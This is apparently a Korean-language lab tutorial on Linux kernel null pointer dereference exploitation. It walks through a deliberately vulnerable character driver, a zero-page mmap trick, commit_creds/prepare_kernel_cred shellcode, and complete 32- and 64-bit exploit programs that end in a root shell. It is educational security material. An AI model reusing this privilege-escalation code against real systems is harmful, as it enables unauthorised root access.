Excuse the ads! We need some help to keep our site up.
lazenca0x0@ubuntu:~$ sysctl vm.mmap_min_addr vm.mmap_min_addr = 65536 lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ sudo sysctl -w vm.mmap_min_addr="0" vm.mmap_min_addr = 0 lazenca0x0@ubuntu:~$ |
Null pointer dereference를 구현하기 위해 포인터 함수를 선언합니다.
void (*myFunPtr)(void);
해당 함수는 chardev_write() 함수에서 호출하고 종료됩니다.
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); struct file_operations chardev_fops = { .release = chardev_release, .write = chardev_write, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } void (*myFunPtr)(void); static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { myFunPtr(); return count; } module_init(chardev_init); module_exit(chardev_exit); |
obj-m := chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ make make -C /lib/modules/4.2.0-27-generic/build M=/home/lazenca0x0/Kernel/Exploit/Null modules make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic' CC [M] /home/lazenca0x0/Kernel/Exploit/Null/chardev.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Exploit/Null/chardev.mod.o LD [M] /home/lazenca0x0/Kernel/Exploit/Null/chardev.ko make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic' lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); close(fd); }else{ printf("Failed to open file.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo cat /proc/kallsyms |grep chardev f9dac000 t chardev_write [chardev] f9dac020 t chardev_release [chardev] f9dac060 t chardev_init [chardev] f9dae2dc b chardev_major [chardev] f9dae2a0 b chardev_cdev [chardev] f9dae284 b __key.24587 [chardev] f9dae284 b chardev_class [chardev] f9dac1a0 t chardev_exit [chardev] f9dae280 b myFunPtr [chardev] f9dae080 d __this_module [chardev] f9dae000 d chardev_fops [chardev] f9dac1a0 t cleanup_module [chardev] f9dac060 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
Continuing. ^C Program received signal SIGINT, Interrupt. 0xc10548d5 in ?? () (gdb) b *0xf9dac000 Breakpoint 1 at 0xf9dac000 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o poc poc.c poc.c: In function ‘main’: poc.c:22:5: warning: null argument where non-null required (argument 1) [-Wnonnull] memcpy(0, payload, sizeof(payload)); ^ lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./poc [*] Mapped zero page. |
다음과 같이 "Null pointer dereference" 취약성을 확인할 수 있습니다.
chardev_write() 함수가 호출되면 call 명령어에 의해 0xf9dae280 영역에 저장된 주소를 호출합니다.
0xf9dae280 영역에 저장된 값은 0x0 이며, call 명령어에 의해 0x0 영역이 호출됩니다.
poc 프로그램에서는 0x0 영역에 call 명령어를 이용하여 0xdeadbeef 영역을 호출하는 shellcode를 저장되어 있으며, 해당 코드는 정상적으로 실행됩니다.
Breakpoint 1, 0xf9dac000 in ?? () (gdb) x/10i $eip => 0xf9dac000: push ebp 0xf9dac001: mov ebp,esp 0xf9dac003: push ebx 0xf9dac004: lea esi,ds:[esi+eiz*1+0x0] 0xf9dac009: mov ebx,ecx 0xf9dac00b: call DWORD PTR ds:0xf9dae280 0xf9dac011: mov eax,ebx 0xf9dac013: pop ebx 0xf9dac014: pop ebp 0xf9dac015: ret (gdb) b *0xf9dac00b Breakpoint 2 at 0xf9dac00b (gdb) c Continuing. Breakpoint 2, 0xf9dac00b in ?? () (gdb) x/i $eip => 0xf9dac00b: call DWORD PTR ds:0xf9dae280 (gdb) x/wx 0xf9dae280 0xf9dae280: 0x00000000 (gdb) si 0x00000000 in irq_stack_union () (gdb) x/2i $eip => 0x0 <irq_stack_union>: call 0xdeadbeef 0x5 <irq_stack_union+5>: add BYTE PTR [eax],al (gdb) si 0xdeadbeef in ?? () (gdb) i r eip eip 0xdeadbeef 0xdeadbeef (gdb) |
|
|
다음과 같이 commit_creds, prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep commit_creds /proc/kallsyms c1082b60 T commit_creds c19cd2cc R __ksymtab_commit_creds c19dc868 r __kcrctab_commit_creds c19e5f9b r __kstrtab_commit_creds lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep prepare_kernel_cred /proc/kallsyms c1082e20 T prepare_kernel_cred c19d16e4 R __ksymtab_prepare_kernel_cred c19dea74 r __kcrctab_prepare_kernel_cred c19e5f5f r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
//commit_creds(prepare_kernel_cred(0)) xor %eax,%eax call 0xc1082e20 call 0xc1082b60 ret |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o asm asm.s -nostdlib -Ttext=0 -N /usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000 lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm asm: file format elf32-i386 Disassembly of section .text: 00000000 <__bss_start-0xd>: 0: 31 c0 xor %eax,%eax 2: e8 19 2e 08 c1 call c1082e20 <_end+0xc1082e10> 7: e8 54 2b 08 c1 call c1082b60 <_end+0xc1082b50> c: c3 ret lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
//commit_creds(prepare_kernel_cred(0)) xor %rdi, %rdi call 0xffffffff8109da40 xchg %rdi,%rax call 0xffffffff8109d760 ret |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm asm: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__bss_start-0x10>: 0: 48 31 ff xor %rdi,%rdi 3: e8 38 da 09 81 callq ffffffff8109da40 <__bss_start+0xffffffff8109da30> 8: 48 97 xchg %rax,%rdi a: e8 51 d7 09 81 callq ffffffff8109d760 <__bss_start+0xffffffff8109d750> f: c3 retq lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ |
//gcc -static -o exploit exploit.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\x31\xc0\xe8\x19\x2e\x08\xc1\xe8\x54\x2b\x08\xc1\xc3"; int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); system("sh"); }else{ printf("Failed to open file.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit [*] Mapped zero page. # id uid=0(root) gid=0(root) groups=0(root) # uname -a Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux # |
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\x48\x31\xff\xe8\x38\xda\x09\x81\x48\x97\xe8\x51\xd7\x09\x81\xc3"; int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); system("/bin/sh"); }else{ printf("Failed to open file.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit [*] Mapped zero page. # id uid=0(root) gid=0(root) groups=0(root) # uname -a Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux # |